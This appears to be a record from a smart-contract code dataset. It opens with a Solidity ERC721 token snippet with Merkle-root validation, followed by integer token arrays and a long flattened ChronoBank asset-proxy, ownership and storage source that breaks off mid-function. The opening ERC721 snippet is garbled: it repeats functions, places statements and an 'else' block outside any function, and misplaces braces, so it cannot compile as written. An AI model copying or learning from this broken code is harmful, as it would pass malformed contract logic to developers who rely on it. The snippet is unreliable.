override(ERC721) { super._beforeTokenTransfer(from, to, amount); } function pause() public onlyRole(PAUSER_ROLE) { _pause(); } function unpause() public onlyRole(PAUSER_ROLE) { _unpause(); } function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 totalItems = totalSupply; uint256 resultIndex = 0; uint256 itemId; for (itemId = 1; itemId <= totalItems; itemId++) { if (ownerOf(itemId) == _owner) { result[resultIndex] = itemId; resultIndex++; } } return result; } } function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 totalItems = totalSupply; uint256 resultIndex = 0; uint256 itemId; for (itemId = 1; itemId <= totalItems; itemId++) { if (ownerOf(itemId) == _owner) { result[resultIndex] = itemId; resultIndex++; } } return result; } } } else { function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 totalItems = totalSupply; uint256 resultIndex = 0; uint256 itemId; for (itemId = 1; itemId <= totalItems; itemId++) { if (ownerOf(itemId) == _owner) { result[resultIndex] = itemId; resultIndex++; } } return result; } } function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 totalItems = totalSupply; uint256 resultIndex = 0; uint256 itemId; for (itemId = 1; itemId <= totalItems; itemId++) { if (ownerOf(itemId) == _owner) { result[resultIndex] = itemId; resultIndex++; } } return result; } } function supportsInterface(bytes4 interfaceId) public view override(ERC721, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } function trackLegacyRootsActive( bool _active) public onlyRole(DEFAULT_ADMIN_ROLE) { trackLegacyRoots = _active; } function updateTokenRoot(uint256 _tokenId, bytes32 _tokenRoot) public{ require(_isApprovedOrOwner(_msgSender(), _tokenId), "You must own the token or be approved to change the token root"); bytes32 oldTokenRoot = tokenRoots[_tokenId]; tokenRoots[_tokenId] = _tokenRoot; if (trackLegacyRoots) legacyRoots[oldTokenRoot] = _tokenId; emit ChangeTokenRoot(_msgSender(), _tokenId, oldTokenRoot, _tokenRoot); } function validateEntry(uint256 _tokenId, bytes32[] calldata proof, bytes32 _entry) public view{ require(MerkleProof.verify(proof, tokenRoots[_tokenId], keccak256(abi.encodePacked(_entry))), "BAD_MERKLE_PROOF"); } function validatePreviousEntry(uint256 _tokenId, bytes32[] calldata proof, bytes32 _entry, bytes32 _legacyRoot) public view{ if (trackLegacyRoots) require( legacyRoots[_legacyRoot] == _tokenId, "This root did not belong to this token" ); require(MerkleProof.verify(proof, _legacyRoot, keccak256(abi.encodePacked(_entry))), "BAD_MERKLE_PROOF"); } function updateTokenURIPrefix(string memory newPrefix) external onlyRole(DEFAULT_ADMIN_ROLE) { tokenURIPrefix = newPrefix; } function mintTokens(uint _amount, address _receiver) virtual public onlyRole(MINTER_ROLE) { require(mintAutoIncrement == true, "This contract is not setup to autoincrement tokens Ids"); uint256 newSupply = totalSupply + _amount; for (uint256 i = 0; i < _amount; i++) { _mint(_receiver, totalSupply + i); _approve(_msgSender(), totalSupply + i); } } function mintTokens(uint _amount, address _receiver) virtual public onlyRole(MINTER_ROLE) { require(mintAutoIncrement == true, "This contract is not setup to autoincrement tokens Ids"); uint256 newSupply = totalSupply + _amount; for (uint256 i = 0; i < _amount; i++) { _mint(_receiver, totalSupply + i); _approve(_msgSender(), totalSupply + i); } } totalSupply = newSupply; function mintTokenById(uint256 _id, address _receiver) virtual public onlyRole(MINTER_ROLE) { require(mintAutoIncrement == false, "This contract is not setup to allow mint by custom token Id"); uint256 newSupply = totalSupply + 1; _mint(_receiver, _id); _approve(_msgSender(), _id); totalSupply = newSupply; } function mintTokensById(uint256[] calldata _ids, address _receiver) virtual public onlyRole(MINTER_ROLE) { require(mintAutoIncrement == false, "This contract is not setup to allow mint by custom token Id"); uint256 newSupply = totalSupply + _ids.length; for (uint256 i = 0; i < _ids.length; i++) { _mint(_receiver, _ids[i]); _approve(_msgSender(), _ids[i]); } } function mintTokensById(uint256[] calldata _ids, address _receiver) virtual public onlyRole(MINTER_ROLE) { require(mintAutoIncrement == false, "This contract is not setup to allow mint by custom token Id"); uint256 newSupply = totalSupply + _ids.length; for (uint256 i = 0; i < _ids.length; i++) { _mint(_receiver, _ids[i]); _approve(_msgSender(), _ids[i]); } } totalSupply = newSupply; function safeTransferFromWithApproval(address from, address to, uint256 tokenId) public virtual { safeTransferFrom(from, to, tokenId, ""); _approve(_msgSender(), tokenId); } }
5,656,027
[ 1, 654, 39, 27, 5340, 24194, 416, 4232, 39, 27, 5340, 24194, 416, 300, 4232, 39, 27, 5340, 6835, 716, 711, 279, 31827, 2511, 5824, 416, 434, 2719, 18137, 2973, 1517, 1147, 1492, 848, 506, 3096, 358, 1879, 813, 19, 880, 501, 364, 326, 2191, 501, 1517, 1147, 711, 279, 1365, 364, 518, 1807, 30235, 2151, 716, 848, 506, 1399, 358, 2621, 309, 279, 1651, 1704, 316, 716, 2151, 732, 8771, 3455, 279, 666, 434, 8866, 12876, 364, 2870, 4373, 300, 333, 4696, 225, 716, 732, 848, 450, 537, 716, 279, 2923, 1365, 10957, 329, 358, 279, 2923, 1147, 316, 326, 8854, 18, 1220, 2870, 4373, 14535, 622, 326, 6991, 434, 2870, 2502, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 27, 5340, 24194, 416, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 16, 21800, 16665, 16, 24349, 16, 4232, 39, 22, 4700, 21, 1042, 1891, 429, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 1731, 1578, 1071, 5381, 15662, 4714, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 4066, 4714, 67, 16256, 8863, 203, 565, 1731, 1578, 1071, 5381, 6989, 2560, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 6236, 2560, 67, 16256, 8863, 203, 565, 1731, 1578, 1071, 5381, 4235, 17598, 67, 16256, 273, 417, 24410, 581, 5034, 2932, 16596, 6553, 67, 16256, 8863, 203, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 31, 203, 203, 565, 1426, 1071, 312, 474, 4965, 10798, 273, 629, 31, 203, 203, 565, 1426, 1071, 3298, 12235, 17540, 273, 629, 31, 203, 203, 565, 1426, 1071, 7412, 2996, 1526, 273, 638, 31, 203, 203, 565, 533, 1071, 1147, 3098, 2244, 273, 1408, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 1731, 1578, 13, 1071, 1147, 17540, 31, 203, 565, 2874, 12, 3890, 1578, 516, 2254, 5034, 13, 1071, 8866, 17540, 31, 203, 203, 565, 871, 7576, 1345, 2375, 12, 2867, 8808, 389, 2867, 16, 2254, 5034, 8808, 389, 2316, 548, 16, 1731, 1578, 389, 1673, 2375, 16, 1731, 1578, 8808, 389, 2704, 2375, 1769, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 16, 203, 3639, 1426, 389, 81, 474, 4965, 10798, 203, 203, 5666, 8787, 3190, 94, 2 ]
pragma solidity ^0.4.11; // File: @laborx/solidity-shared-lib/contracts/ERC20Interface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Defines an interface for EIP20 token smart contract contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function decimals() public view returns (uint8); function totalSupply() public view returns (uint256 supply); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } // File: contracts/assets/ChronoBankAssetChainableInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; contract ChronoBankAssetChainableInterface { function assetType() public pure returns (bytes32); function getPreviousAsset() public view returns (ChronoBankAssetChainableInterface); function getNextAsset() public view returns (ChronoBankAssetChainableInterface); function getChainedAssets() public view returns (bytes32[] _types, address[] _assets); function getAssetByType(bytes32 _assetType) public view returns (address); function chainAssets(ChronoBankAssetChainableInterface[] _assets) external returns (bool); function __chainAssetsFromIdx(ChronoBankAssetChainableInterface[] _assets, uint _startFromIdx) external returns (bool); function finalizeAssetChaining() public; } // File: contracts/assets/ChronoBankAssetUtils.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; library ChronoBankAssetUtils { uint constant ASSETS_CHAIN_MAX_LENGTH = 20; function getChainedAssets(ChronoBankAssetChainableInterface _asset) public view returns (bytes32[] _types, address[] _assets) { bytes32[] memory _tempTypes = new bytes32[](ASSETS_CHAIN_MAX_LENGTH); address[] memory _tempAssets = new address[](ASSETS_CHAIN_MAX_LENGTH); ChronoBankAssetChainableInterface _next = getHeadAsset(_asset); uint _counter = 0; do { _tempTypes[_counter] = _next.assetType(); _tempAssets[_counter] = address(_next); _counter += 1; _next = _next.getNextAsset(); } while (address(_next) != 0x0); _types = new bytes32[](_counter); _assets = new address[](_counter); for (uint _assetIdx = 0; _assetIdx < _counter; ++_assetIdx) { _types[_assetIdx] = _tempTypes[_assetIdx]; _assets[_assetIdx] = _tempAssets[_assetIdx]; } } function getAssetByType(ChronoBankAssetChainableInterface _asset, bytes32 _assetType) public view returns (address) { ChronoBankAssetChainableInterface _next = getHeadAsset(_asset); do { if (_next.assetType() == _assetType) { return address(_next); } _next = _next.getNextAsset(); } while (address(_next) != 0x0); } function containsAssetInChain(ChronoBankAssetChainableInterface _asset, address _checkAsset) public view returns (bool) { ChronoBankAssetChainableInterface _next = getHeadAsset(_asset); do { if (address(_next) == _checkAsset) { return true; } _next = _next.getNextAsset(); } while (address(_next) != 0x0); } function getHeadAsset(ChronoBankAssetChainableInterface _asset) public view returns (ChronoBankAssetChainableInterface) { ChronoBankAssetChainableInterface _head = _asset; ChronoBankAssetChainableInterface _previousAsset; do { _previousAsset = _head.getPreviousAsset(); if (address(_previousAsset) == 0x0) { return _head; } _head = _previousAsset; } while (true); } } // File: @laborx/solidity-eventshistory-lib/contracts/EventsHistorySourceAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /** * @title EventsHistory Source Adapter. */ contract EventsHistorySourceAdapter { // It is address of MultiEventsHistory caller assuming we are inside of delegate call. function _self() internal view returns (address) { return msg.sender; } } // File: @laborx/solidity-eventshistory-lib/contracts/MultiEventsHistoryAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /** * @title General MultiEventsHistory user. */ contract MultiEventsHistoryAdapter is EventsHistorySourceAdapter { address internal localEventsHistory; event ErrorCode(address indexed self, uint errorCode); function getEventsHistory() public view returns (address) { address _eventsHistory = localEventsHistory; return _eventsHistory != 0x0 ? _eventsHistory : this; } function emitErrorCode(uint _errorCode) public { emit ErrorCode(_self(), _errorCode); } function _setEventsHistory(address _eventsHistory) internal returns (bool) { localEventsHistory = _eventsHistory; return true; } function _emitErrorCode(uint _errorCode) internal returns (uint) { MultiEventsHistoryAdapter(getEventsHistory()).emitErrorCode(_errorCode); return _errorCode; } } // File: contracts/ChronoBankPlatformEmitter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /// @title ChronoBank Platform Emitter. /// /// Contains all the original event emitting function definitions and events. /// In case of new events needed later, additional emitters can be developed. /// All the functions is meant to be called using delegatecall. contract ChronoBankPlatformEmitter is MultiEventsHistoryAdapter { event Transfer(address indexed from, address indexed to, bytes32 indexed symbol, uint value, string reference); event Issue(bytes32 indexed symbol, uint value, address indexed by); event Revoke(bytes32 indexed symbol, uint value, address indexed by); event RevokeExternal(bytes32 indexed symbol, uint value, address indexed by, string externalReference); event OwnershipChange(address indexed from, address indexed to, bytes32 indexed symbol); event Approve(address indexed from, address indexed spender, bytes32 indexed symbol, uint value); event Recovery(address indexed from, address indexed to, address by); function emitTransfer(address _from, address _to, bytes32 _symbol, uint _value, string _reference) public { emit Transfer(_from, _to, _symbol, _value, _reference); } function emitIssue(bytes32 _symbol, uint _value, address _by) public { emit Issue(_symbol, _value, _by); } function emitRevoke(bytes32 _symbol, uint _value, address _by) public { emit Revoke(_symbol, _value, _by); } function emitRevokeExternal(bytes32 _symbol, uint _value, address _by, string _externalReference) public { emit RevokeExternal(_symbol, _value, _by, _externalReference); } function emitOwnershipChange(address _from, address _to, bytes32 _symbol) public { emit OwnershipChange(_from, _to, _symbol); } function emitApprove(address _from, address _spender, bytes32 _symbol, uint _value) public { emit Approve(_from, _spender, _symbol, _value); } function emitRecovery(address _from, address _to, address _by) public { emit Recovery(_from, _to, _by); } } // File: contracts/ChronoBankPlatformInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.11; contract ChronoBankPlatformInterface is ChronoBankPlatformEmitter { mapping(bytes32 => address) public proxies; function symbols(uint _idx) public view returns (bytes32); function symbolsCount() public view returns (uint); function isCreated(bytes32 _symbol) public view returns(bool); function isOwner(address _owner, bytes32 _symbol) public view returns(bool); function owner(bytes32 _symbol) public view returns(address); function setProxy(address _address, bytes32 _symbol) public returns(uint errorCode); function name(bytes32 _symbol) public view returns(string); function totalSupply(bytes32 _symbol) public view returns(uint); function balanceOf(address _holder, bytes32 _symbol) public view returns(uint); function allowance(address _from, address _spender, bytes32 _symbol) public view returns(uint); function baseUnit(bytes32 _symbol) public view returns(uint8); function description(bytes32 _symbol) public view returns(string); function isReissuable(bytes32 _symbol) public view returns(bool); function blockNumber(bytes32 _symbol) public view returns (uint); function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns(uint errorCode); function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns(uint errorCode); function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public returns(uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber) public returns(uint errorCode); function issueAssetWithInitialReceiver(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber, address _account) public returns(uint errorCode); function reissueAsset(bytes32 _symbol, uint _value) public returns(uint errorCode); function reissueAssetToRecepient(bytes32 _symbol, uint _value, address _to) public returns (uint); function revokeAsset(bytes32 _symbol, uint _value) public returns(uint errorCode); function revokeAssetWithExternalReference(bytes32 _symbol, uint _value, string _externalReference) public returns (uint); function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool); function isDesignatedAssetManager(address _account, bytes32 _symbol) public view returns (bool); function changeOwnership(bytes32 _symbol, address _newOwner) public returns(uint errorCode); } // File: contracts/ChronoBankAssetInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ChronoBankAssetInterface { function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool); function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool); function __approve(address _spender, uint _value, address _sender) public returns(bool); function __process(bytes /*_data*/, address /*_sender*/) public payable { revert("ASSET_PROCESS_NOT_SUPPORTED"); } } // File: contracts/ChronoBankAssetProxy.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ERC20 is ERC20Interface {} contract ChronoBankAsset is ChronoBankAssetInterface {} /// @title ChronoBank Asset Proxy. /// /// Proxy implements ERC20 interface and acts as a gateway to a single platform asset. /// Proxy adds symbol and caller(sender) when forwarding requests to platform. /// Every request that is made by caller first sent to the specific asset implementation /// contract, which then calls back to be forwarded onto platform. /// /// Calls flow: Caller -> /// Proxy.func(...) -> /// Asset.__func(..., Caller.address) -> /// Proxy.__func(..., Caller.address) -> /// Platform.proxyFunc(..., symbol, Caller.address) /// /// Asset implementation contract is mutable, but each user have an option to stick with /// old implementation, through explicit decision made in timely manner, if he doesn't agree /// with new rules. /// Each user have a possibility to upgrade to latest asset contract implementation, without the /// possibility to rollback. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract ChronoBankAssetProxy is ERC20 { /// @dev Supports ChronoBankPlatform ability to return error codes from methods uint constant OK = 1; /// @dev Assigned platform, immutable. ChronoBankPlatform public chronoBankPlatform; /// @dev Assigned symbol, immutable. bytes32 public smbl; /// @dev Assigned name, immutable. string public name; /// @dev Assigned symbol (from ERC20 standard), immutable string public symbol; /// @notice Sets platform address, assigns symbol and name. /// Can be set only once. /// @param _chronoBankPlatform platform contract address. /// @param _symbol assigned symbol. /// @param _name assigned name. /// @return success. function init(ChronoBankPlatform _chronoBankPlatform, string _symbol, string _name) public returns (bool) { if (address(chronoBankPlatform) != 0x0) { return false; } chronoBankPlatform = _chronoBankPlatform; symbol = _symbol; smbl = stringToBytes32(_symbol); name = _name; return true; } function stringToBytes32(string memory source) public pure returns (bytes32 result) { assembly { result := mload(add(source, 32)) } } /// @dev Only platform is allowed to call. modifier onlyChronoBankPlatform { if (msg.sender == address(chronoBankPlatform)) { _; } } /// @dev Only current asset owner is allowed to call. modifier onlyAssetOwner { if (chronoBankPlatform.isOwner(msg.sender, smbl)) { _; } } /// @dev Returns asset implementation contract for current caller. /// @return asset implementation contract. function _getAsset() internal view returns (ChronoBankAsset) { return ChronoBankAsset(getVersionFor(msg.sender)); } /// @notice Returns asset total supply. /// @return asset total supply. function totalSupply() public view returns (uint) { return chronoBankPlatform.totalSupply(smbl); } /// @notice Returns asset balance for a particular holder. /// @param _owner holder address. /// @return holder balance. function balanceOf(address _owner) public view returns (uint) { return chronoBankPlatform.balanceOf(_owner, smbl); } /// @notice Returns asset allowance from one holder to another. /// @param _from holder that allowed spending. /// @param _spender holder that is allowed to spend. /// @return holder to spender allowance. function allowance(address _from, address _spender) public view returns (uint) { return chronoBankPlatform.allowance(_from, _spender, smbl); } /// @notice Returns asset decimals. /// @return asset decimals. function decimals() public view returns (uint8) { return chronoBankPlatform.baseUnit(smbl); } /// @notice Transfers asset balance from the caller to specified receiver. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @return success. function transfer(address _to, uint _value) public returns (bool) { if (_to != 0x0) { return _transferWithReference(_to, _value, ""); } } /// @notice Transfers asset balance from the caller to specified receiver adding specified comment. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _reference transfer comment to be included in a platform's Transfer event. /// @return success. function transferWithReference(address _to, uint _value, string _reference) public returns (bool) { if (_to != 0x0) { return _transferWithReference(_to, _value, _reference); } } /// @notice Resolves asset implementation contract for the caller and forwards there arguments along with /// the caller address. /// @return success. function _transferWithReference(address _to, uint _value, string _reference) internal returns (bool) { return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender); } /// @notice Performs transfer call on the platform by the name of specified sender. /// /// Can only be called by asset implementation contract assigned to sender. /// /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _reference transfer comment to be included in a platform's Transfer event. /// @param _sender initial caller. /// /// @return success. function __transferWithReference( address _to, uint _value, string _reference, address _sender ) onlyAccess(_sender) public returns (bool) { return chronoBankPlatform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK; } /// @notice Performs allowance transfer of asset balance between holders. /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @return success. function transferFrom(address _from, address _to, uint _value) public returns (bool) { if (_to != 0x0) { return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender); } } /// @notice Performs allowance transfer call on the platform by the name of specified sender. /// /// Can only be called by asset implementation contract assigned to sender. /// /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _reference transfer comment to be included in a platform's Transfer event. /// @param _sender initial caller. /// /// @return success. function __transferFromWithReference( address _from, address _to, uint _value, string _reference, address _sender ) onlyAccess(_sender) public returns (bool) { return chronoBankPlatform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK; } /// @notice Sets asset spending allowance for a specified spender. /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @return success. function approve(address _spender, uint _value) public returns (bool) { if (_spender != 0x0) { return _getAsset().__approve(_spender, _value, msg.sender); } } /// @notice Performs allowance setting call on the platform by the name of specified sender. /// Can only be called by asset implementation contract assigned to sender. /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @param _sender initial caller. /// @return success. function __approve(address _spender, uint _value, address _sender) onlyAccess(_sender) public returns (bool) { return chronoBankPlatform.proxyApprove(_spender, _value, smbl, _sender) == OK; } /// @notice Emits ERC20 Transfer event on this contract. /// Can only be, and, called by assigned platform when asset transfer happens. function emitTransfer(address _from, address _to, uint _value) onlyChronoBankPlatform public { emit Transfer(_from, _to, _value); } /// @notice Emits ERC20 Approval event on this contract. /// Can only be, and, called by assigned platform when asset allowance set happens. function emitApprove(address _from, address _spender, uint _value) onlyChronoBankPlatform public { emit Approval(_from, _spender, _value); } /// @notice Resolves asset implementation contract for the caller and forwards there transaction data, /// along with the value. This allows for proxy interface growth. function () public payable { _getAsset().__process.value(msg.value)(msg.data, msg.sender); } /// @dev Indicates an upgrade freeze-time start, and the next asset implementation contract. event UpgradeProposal(address newVersion); /// @dev Current asset implementation contract address. address latestVersion; /// @dev Proposed next asset implementation contract address. address pendingVersion; /// @dev Upgrade freeze-time start. uint pendingVersionTimestamp; /// @dev Timespan for users to review the new implementation and make decision. uint constant UPGRADE_FREEZE_TIME = 3 days; /// @dev Asset implementation contract address that user decided to stick with. /// 0x0 means that user uses latest version. mapping(address => address) userOptOutVersion; /// @dev Only asset implementation contract assigned to sender is allowed to call. modifier onlyAccess(address _sender) { address _versionFor = getVersionFor(_sender); if (msg.sender == _versionFor || ChronoBankAssetUtils.containsAssetInChain(ChronoBankAssetChainableInterface(_versionFor), msg.sender) ) { _; } } /// @notice Returns asset implementation contract address assigned to sender. /// @param _sender sender address. /// @return asset implementation contract address. function getVersionFor(address _sender) public view returns (address) { return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender]; } /// @notice Returns current asset implementation contract address. /// @return asset implementation contract address. function getLatestVersion() public view returns (address) { return latestVersion; } /// @notice Returns proposed next asset implementation contract address. /// @return asset implementation contract address. function getPendingVersion() public view returns (address) { return pendingVersion; } /// @notice Returns upgrade freeze-time start. /// @return freeze-time start. function getPendingVersionTimestamp() public view returns (uint) { return pendingVersionTimestamp; } /// @notice Propose next asset implementation contract address. /// Can only be called by current asset owner. /// Note: freeze-time should not be applied for the initial setup. /// @param _newVersion asset implementation contract address. /// @return success. function proposeUpgrade(address _newVersion) onlyAssetOwner public returns (bool) { // Should not already be in the upgrading process. if (pendingVersion != 0x0) { return false; } // New version address should be other than 0x0. if (_newVersion == 0x0) { return false; } // Don't apply freeze-time for the initial setup. if (latestVersion == 0x0) { latestVersion = _newVersion; return true; } pendingVersion = _newVersion; pendingVersionTimestamp = now; emit UpgradeProposal(_newVersion); return true; } /// @notice Cancel the pending upgrade process. /// Can only be called by current asset owner. /// @return success. function purgeUpgrade() public onlyAssetOwner returns (bool) { if (pendingVersion == 0x0) { return false; } delete pendingVersion; delete pendingVersionTimestamp; return true; } /// @notice Finalize an upgrade process setting new asset implementation contract address. /// Can only be called after an upgrade freeze-time. /// @return success. function commitUpgrade() public returns (bool) { if (pendingVersion == 0x0) { return false; } if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) { return false; } latestVersion = pendingVersion; delete pendingVersion; delete pendingVersionTimestamp; return true; } /// @notice Disagree with proposed upgrade, and stick with current asset implementation /// until further explicit agreement to upgrade. /// @return success. function optOut() public returns (bool) { if (userOptOutVersion[msg.sender] != 0x0) { return false; } userOptOutVersion[msg.sender] = latestVersion; return true; } /// @notice Implicitly agree to upgrade to current and future asset implementation upgrades, /// until further explicit disagreement. /// @return success. function optIn() public returns (bool) { delete userOptOutVersion[msg.sender]; return true; } } // File: @laborx/solidity-shared-lib/contracts/Owned.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Owned contract with safe ownership pass. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract Owned { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public contractOwner; address public pendingContractOwner; modifier onlyContractOwner { if (msg.sender == contractOwner) { _; } } constructor() public { contractOwner = msg.sender; } /// @notice Prepares ownership pass. /// Can only be called by current owner. /// @param _to address of the next owner. /// @return success. function changeContractOwnership(address _to) public onlyContractOwner returns (bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /// @notice Finalize ownership pass. /// Can only be called by pending owner. /// @return success. function claimContractOwnership() public returns (bool) { if (msg.sender != pendingContractOwner) { return false; } emit OwnershipTransferred(contractOwner, pendingContractOwner); contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) public onlyContractOwner returns (bool) { if (newOwner == 0x0) { return false; } emit OwnershipTransferred(contractOwner, newOwner); contractOwner = newOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @dev Backward compatibility only. /// @param newOwner The address to transfer ownership to. function transferContractOwnership(address newOwner) public returns (bool) { return transferOwnership(newOwner); } /// @notice Withdraw given tokens from contract to owner. /// This method is only allowed for contact owner. function withdrawTokens(address[] tokens) public onlyContractOwner { address _contractOwner = contractOwner; for (uint i = 0; i < tokens.length; i++) { ERC20Interface token = ERC20Interface(tokens[i]); uint balance = token.balanceOf(this); if (balance > 0) { token.transfer(_contractOwner, balance); } } } /// @notice Withdraw ether from contract to owner. /// This method is only allowed for contact owner. function withdrawEther() public onlyContractOwner { uint balance = address(this).balance; if (balance > 0) { contractOwner.transfer(balance); } } /// @notice Transfers ether to another address. /// Allowed only for contract owners. /// @param _to recepient address /// @param _value wei to transfer; must be less or equal to total balance on the contract function transferEther(address _to, uint256 _value) public onlyContractOwner { require(_to != 0x0, "INVALID_ETHER_RECEPIENT_ADDRESS"); if (_value > address(this).balance) { revert("INVALID_VALUE_TO_TRANSFER_ETHER"); } _to.transfer(_value); } } // File: @laborx/solidity-storage-lib/contracts/Storage.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract Manager { function isAllowed(address _actor, bytes32 _role) public view returns (bool); function hasAccess(address _actor) public view returns (bool); } contract Storage is Owned { struct Crate { mapping(bytes32 => uint) uints; mapping(bytes32 => address) addresses; mapping(bytes32 => bool) bools; mapping(bytes32 => int) ints; mapping(bytes32 => uint8) uint8s; mapping(bytes32 => bytes32) bytes32s; mapping(bytes32 => AddressUInt8) addressUInt8s; mapping(bytes32 => string) strings; } struct AddressUInt8 { address _address; uint8 _uint8; } mapping(bytes32 => Crate) internal crates; Manager public manager; modifier onlyAllowed(bytes32 _role) { if (!(msg.sender == address(this) || manager.isAllowed(msg.sender, _role))) { revert("STORAGE_FAILED_TO_ACCESS_PROTECTED_FUNCTION"); } _; } function setManager(Manager _manager) external onlyContractOwner returns (bool) { manager = _manager; return true; } function setUInt(bytes32 _crate, bytes32 _key, uint _value) public onlyAllowed(_crate) { _setUInt(_crate, _key, _value); } function _setUInt(bytes32 _crate, bytes32 _key, uint _value) internal { crates[_crate].uints[_key] = _value; } function getUInt(bytes32 _crate, bytes32 _key) public view returns (uint) { return crates[_crate].uints[_key]; } function setAddress(bytes32 _crate, bytes32 _key, address _value) public onlyAllowed(_crate) { _setAddress(_crate, _key, _value); } function _setAddress(bytes32 _crate, bytes32 _key, address _value) internal { crates[_crate].addresses[_key] = _value; } function getAddress(bytes32 _crate, bytes32 _key) public view returns (address) { return crates[_crate].addresses[_key]; } function setBool(bytes32 _crate, bytes32 _key, bool _value) public onlyAllowed(_crate) { _setBool(_crate, _key, _value); } function _setBool(bytes32 _crate, bytes32 _key, bool _value) internal { crates[_crate].bools[_key] = _value; } function getBool(bytes32 _crate, bytes32 